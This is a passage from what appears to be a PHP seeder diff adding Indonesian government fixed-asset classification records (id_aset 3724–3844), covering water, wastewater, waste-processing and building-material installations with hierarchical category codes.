AIR BERSIH/AIR BAKU)', + ], + [ + 'id_aset' => 3724, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '005', + 'nama' => 'BANGUNAN PENAMPUNG AIR BAKU', + ], + [ + 'id_aset' => 3725, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '006', + 'nama' => 'BANGUNAN HIDRAN UMUM', + ], + [ + 'id_aset' => 3726, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '007', + 'nama' => 'BANGUNAN MANDI CUCI KAKUS (MCK)', + ], + [ + 'id_aset' => 3727, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '008', + 'nama' => 'BANGUNAN MENARA/BAK PENAMPUNG/RESERVOIR AIR MINUM', + ], + [ + 'id_aset' => 3728, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '009', + 'nama' => 'BANGUNAN BUSTER PUMP', + ], + [ + 'id_aset' => 3729, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PELENGKAP AIR BERSIH/AIR BAKU LAINNYA', + ], + [ + 'id_aset' => 3730, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN AIR BERSIH/AIR BAKU LAINNYA', + ], + [ + 'id_aset' => 3731, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '06', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN AIR BERSIH/AIR BAKU LAINNYA', + ], + [ + 'id_aset' => 3732, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN AIR KOTOR', + ], + [ + 'id_aset' => 3733, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PEMBAWA AIR KOTOR', + ], + [ + 'id_aset' => 3734, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'SALURAN PENGUMPUL AIR HUJAN', + ], + [ + 'id_aset' => 3735, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'SALURAN PENGUMPUL AIR BUANGAN DOMESTIK', + ], + [ + 'id_aset' => 3736, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'SALURAN PENGUMPUL AIR BUANGAN INDUSTRI', + ], + [ + 'id_aset' => 3737, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'SALURAN PENGUMPUL AIR BUANGAN PERTANIAN', + ], + [ + 'id_aset' => 3738, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PEMBAWA AIR KOTOR LAINNYA', + ], + [ + 'id_aset' => 3739, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN WADUK AIR KOTOR', + ], + [ + 'id_aset' => 3740, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'WADUK AIR HUJAN', + ], + [ + 'id_aset' => 3741, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'WADUK AIR BUANGAN DOMESTIK', + ], + [ + 'id_aset' => 3742, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'WADUK AIR BUANGAN INDUSTRI', + ], + [ + 'id_aset' => 3743, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'WADUK AIR BUANGAN PERTANIAN', + ], + [ + 'id_aset' => 3744, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN WADUK AIR KOTOR LAINNYA', + ], + [ + 'id_aset' => 3745, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PEMBUANG AIR KOTOR', + ], + [ + 'id_aset' => 3746, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'SALURAN PEMBUANG AIR BUANGAN AIR HUJAN', + ], + [ + 'id_aset' => 3747, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'SALURAN PEMBUANG AIR BUANGAN DOMESTIK', + ], + [ + 'id_aset' => 3748, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'SALURAN PEMBUANG AIR BUANGAN AIR INDUSTRI', + ], + [ + 'id_aset' => 3749, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'SALURAN PEMBUANG AIR BUANGAN AIR PERTANIAN', + ], + [ + 'id_aset' => 3750, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PEMBUANG AIR KOTOR LAINNYA', + ], + [ + 'id_aset' => 3751, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENGAMAN AIR KOTOR', + ], + [ + 'id_aset' => 3752, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN POMPA AIR HUJAN', + ], + [ + 'id_aset' => 3753, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN POMPA AIR BUANGAN DOMESTIK', + ], + [ + 'id_aset' => 3754, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN POMPA AIR BUANGAN INDUSTRI', + ], + [ + 'id_aset' => 3755, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '004', + 'nama' => 'BANGUNAN POMPA AIR BUANGAN PERTANIAN', + ], + [ + 'id_aset' => 3756, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PENGAMAN AIR KOTOR LAINNYA', + ], + [ + 'id_aset' => 3757, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PELENGKAP AIR KOTOR', + ], + [ + 'id_aset' => 3758, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN TALANG (BANGUNAN PELENGKAP AIR KOTOR)', + ], + [ + 'id_aset' => 3759, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN SYPHON (BANGUNAN PELENGKAP AIR KOTOR)', + ], + [ + 'id_aset' => 3760, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'BANGUNAN GORONG-GORONG (BANGUNAN PELENGKAP AIR KOTOR)', + ], + [ + 'id_aset' => 3761, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '004', + 'nama' => 'BANGUNAN JEMBATAN (BANGUNAN PELENGKAP AIR KOTOR)', + ], + [ + 'id_aset' => 3762, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '005', + 'nama' => 'BANGUNAN BAK KONTROL/MAN HOLE', + ], + [ + 'id_aset' => 3763, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '006', + 'nama' => 'SALURAN AIR KOTOR SAMBUNGAN DARI RUMAH', + ], + [ + 'id_aset' => 3764, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '007', + 'nama' => 'BANGUNAN (BOX) CULVERT', + ], + [ + 'id_aset' => 3765, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '008', + 'nama' => 'MULTIPLE PIPA ARCHES', + ], + [ + 'id_aset' => 3766, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '009', + 'nama' => 'BANGUNAN PLAT DEKER', + ], + [ + 'id_aset' => 3767, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PELENGKAP AIR KOTOR LAINNYA', + ], + [ + 'id_aset' => 3768, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN AIR KOTOR LAINNYA', + ], + [ + 'id_aset' => 3769, + 'golongan' => '5', + 'bidang' => '02', + 'kelompok' => '07', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN AIR KOTOR LAINNYA', + ], + [ + 'id_aset' => 3770, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI', + ], + [ + 'id_aset' => 3771, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI AIR BERSIH / AIR BAKU', + ], + [ + 'id_aset' => 3772, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI AIR PERMUKAAN', + ], + [ + 'id_aset' => 3773, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI AIR PERMUKAAN KAPASITAS KECIL', + ], + [ + 'id_aset' => 3774, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI AIR PERMUKAAN KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3775, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI AIR PERMUKAAN KAPASITAS BESAR', + ], + [ + 'id_aset' => 3776, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI AIR PERMUKAAN LAINNYA', + ], + [ + 'id_aset' => 3777, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI AIR SUMBER / MATA AIR', + ], + [ + 'id_aset' => 3778, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI AIR SUMBER / MATA AIR KAPASITAS KECIL', + ], + [ + 'id_aset' => 3779, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI AIR SUMBER / MATA AIR KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3780, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI AIR SUMBER / MATA AIR KAPASITAS BESAR', + ], + [ + 'id_aset' => 3781, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI AIR SUMBER / MATA AIR LAINNYA', + ], + [ + 'id_aset' => 3782, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI AIR TANAH DALAM', + ], + [ + 'id_aset' => 3783, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI AIR TANAH DALAM KAPASITAS KECIL', + ], + [ + 'id_aset' => 3784, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI AIR TANAH DALAM KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3785, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI AIR TANAH DALAM KAPASITAS BESAR', + ], + [ + 'id_aset' => 3786, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI AIR TANAH DALAM LAINNYA', + ], + [ + 'id_aset' => 3787, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI AIR TANAH DANGKAL', + ], + [ + 'id_aset' => 3788, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI AIR TANAH DANGKAL KAPASITAS KECIL', + ], + [ + 'id_aset' => 3789, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI AIR TANAH DANGKAL KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3790, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI AIR TANAH DANGKAL KAPASITAS BESAR', + ], + [ + 'id_aset' => 3791, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI AIR TANAH DANGKAL LAINNYA', + ], + [ + 'id_aset' => 3792, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI AIR BERSIH / AIR BAKU LAINNYA', + ], + [ + 'id_aset' => 3793, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'SISTEM PENGOLAHAN AIR SEDERHANA (SIPAS)', + ], + [ + 'id_aset' => 3794, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'JARINGAN RUMAH TANGGA (JARUT)', + ], + [ + 'id_aset' => 3795, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'PENAMPUNGAN AIR HUJAN (PAH)', + ], + [ + 'id_aset' => 3796, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '004', + 'nama' => 'SUMUR GALI (SGL)', + ], + [ + 'id_aset' => 3797, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '005', + 'nama' => 'SUMUR RESAPAN', + ], + [ + 'id_aset' => 3798, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI AIR BERSIH / AIR BAKU LAINNYA LAINNYA', + ], + [ + 'id_aset' => 3799, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI AIR BERSIH / AIR BAKU LAINNYA', + ], + [ + 'id_aset' => 3800, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI AIR BERSIH / AIR BAKU LAINNYA', + ], + [ + 'id_aset' => 3801, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI AIR KOTOR', + ], + [ + 'id_aset' => 3802, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI AIR BUANGAN DOMESTIK', + ], + [ + 'id_aset' => 3803, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI AIR BUANGAN DOMESTIK KAPASITAS KECIL', + ], + [ + 'id_aset' => 3804, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI AIR BUANGAN DOMESTIK KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3805, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI AIR BUANGAN DOMESTIK KAPASITAS BESAR', + ], + [ + 'id_aset' => 3806, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI AIR BUANGAN DOMESTIK LAINNYA', + ], + [ + 'id_aset' => 3807, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI AIR BUANGAN INDUSTRI', + ], + [ + 'id_aset' => 3808, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI AIR BUANGAN INDUSTRI KAPASITAS KECIL', + ], + [ + 'id_aset' => 3809, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI AIR BUANGAN INDUSTRI KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3810, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI AIR BUANGAN INDUSTRI KAPASITAS BESAR', + ], + [ + 'id_aset' => 3811, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI AIR BUANGAN INDUSTRI LAINNYA', + ], + [ + 'id_aset' => 3812, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI AIR BUANGAN PERTANIAN', + ], + [ + 'id_aset' => 3813, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI AIR BUANGAN PERTANIAN KAPASITAS KECIL', + ], + [ + 'id_aset' => 3814, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI AIR BUANGAN PERTANIAN KAPASITAS SEDANG', + ], + [ + 'id_aset' => 3815, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI AIR BUANGAN PERTANIAN KAPASITAS BESAR', + ], + [ + 'id_aset' => 3816, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI AIR BUANGAN PERTANIAN LAINNYA', + ], + [ + 'id_aset' => 3817, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI AIR KOTOR LAINNYA', + ], + [ + 'id_aset' => 3818, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '02', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI AIR KOTOR LAINNYA', + ], + [ + 'id_aset' => 3819, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI PENGOLAHAN SAMPAH', + ], + [ + 'id_aset' => 3820, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI PENGOLAHAN SAMPAH ORGANIK', + ], + [ + 'id_aset' => 3821, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI PENGOLAHAN SAMPAH ORGANIK SISTEM PEMBAKARAN', + ], + [ + 'id_aset' => 3822, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI PENGOLAHAN SAMPAH ORGANIK SISTEM KOMPOS', + ], + [ + 'id_aset' => 3823, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI PENGOLAHAN SAMPAH ORGANIK SISTEM PENIMBUNAN', + ], + [ + 'id_aset' => 3824, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI PENGOLAHAN SAMPAH ORGANIK LAINNYA', + ], + [ + 'id_aset' => 3825, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI PENGOLAHAN SAMPAH NON ORGANIK', + ], + [ + 'id_aset' => 3826, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI PENGOLAHAN SAMPAH NON ORGANIK DAUR ULANG LOGAM', + ], + [ + 'id_aset' => 3827, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI PENGOLAHAN SAMPAH NON ORGANIK DAUR ULANG NON LOGAM', + ], + [ + 'id_aset' => 3828, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI PENGOLAHAN SAMPAH NON ORGANIK LAINNYA', + ], + [ + 'id_aset' => 3829, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN PENAMPUNG SAMPAH', + ], + [ + 'id_aset' => 3830, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'BANGUNAN TEMPAT PENAMPUNG SAMPAH RUMAH TANGGA', + ], + [ + 'id_aset' => 3831, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'BANGUNAN TEMPAT MENAMPUNG SAMPAH LINGKUNGAN', + ], + [ + 'id_aset' => 3832, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'BANGUNAN PENAMPUNG SAMPAH LAINNYA', + ], + [ + 'id_aset' => 3833, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI PENGOLAHAN SAMPAH LAINNYA', + ], + [ + 'id_aset' => 3834, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '03', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI PENGOLAHAN SAMPAH LAINNYA', + ], + [ + 'id_aset' => 3835, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '04', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI PENGOLAHAN BAHAN BANGUNAN', + ], + [ + 'id_aset' => 3836, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI PENGOLAHAN BAHAN BANGUNAN PERCONTOHAN', + ], + [ + 'id_aset' => 3837, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'INSTALASI PENGOLAHAN BAHAN BANGUNAN PERCONTOHAN PENGAWETAN KAYU', + ], + [ + 'id_aset' => 3838, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'INSTALASI PENGOLAHAN BAHAN BANGUNAN PERCONTOHAN PENGERINGAN KAYU', + ], + [ + 'id_aset' => 3839, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'INSTALASI PENGOLAHAN BAHAN BANGUNAN PERCONTOHAN PENGERJAAN KAYU', + ], + [ + 'id_aset' => 3840, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'INSTALASI PENGOLAHAN BAHAN BANGUNAN PERCONTOHAN PERKAPURAN', + ], + [ + 'id_aset' => 3841, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'INSTALASI PENGOLAHAN BAHAN BANGUNAN PERCONTOHAN PEMBUATAN BATU', + ], + [ + 'id_aset' => 3842, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'INSTALASI PENGOLAHAN BAHAN BANGUNAN PERCONTOHAN PEMBUATAN AGREGA', + ], + [ + 'id_aset' => 3843, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '04', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'INSTALASI PENGOLAHAN BAHAN BANGUNAN PERCONTOHAN LAINNYA', + ], + [ + 'id_aset' => 3844, + 'golongan' => '5', + 'bidang' => '03', + 'kelompok' => '04', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'INSTALASI 